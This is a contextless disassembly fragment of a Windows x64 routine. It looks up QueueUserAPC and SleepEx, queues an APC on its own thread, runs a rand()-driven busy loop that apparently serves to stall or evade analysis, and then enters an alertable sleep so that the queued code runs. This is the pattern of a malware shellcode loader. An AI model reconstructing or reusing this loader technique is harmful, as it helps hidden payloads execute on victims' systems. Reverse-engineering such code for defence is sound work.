lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x85
jle 0x14000287a
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x790]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x640]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp + 0x634], 0
mov dword [rbp + 0x7a0], 0
mov ecx, 0x1774
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x7a8], 0
jmp 0x140002ade
mov dword [rbp + 0x7a4], 0
jmp 0x140002aca
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7a8]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
add rax, rax
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x628]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7a4]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x7a8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x7a4]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002ac3
add dword [rbp + 0x7a0], 1
add dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a4], 0x12
jle 0x140002a25
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x4e
jle 0x140002a16
cmp dword [rbp + 0x7a0], 0x2ee
jne 0x140002b01
mov dword [rbp + 0x634], 1
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x638]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x810]
add rsp, 0x8a8
pop rbx
pop rsi
pop rdi
pop rbp
ret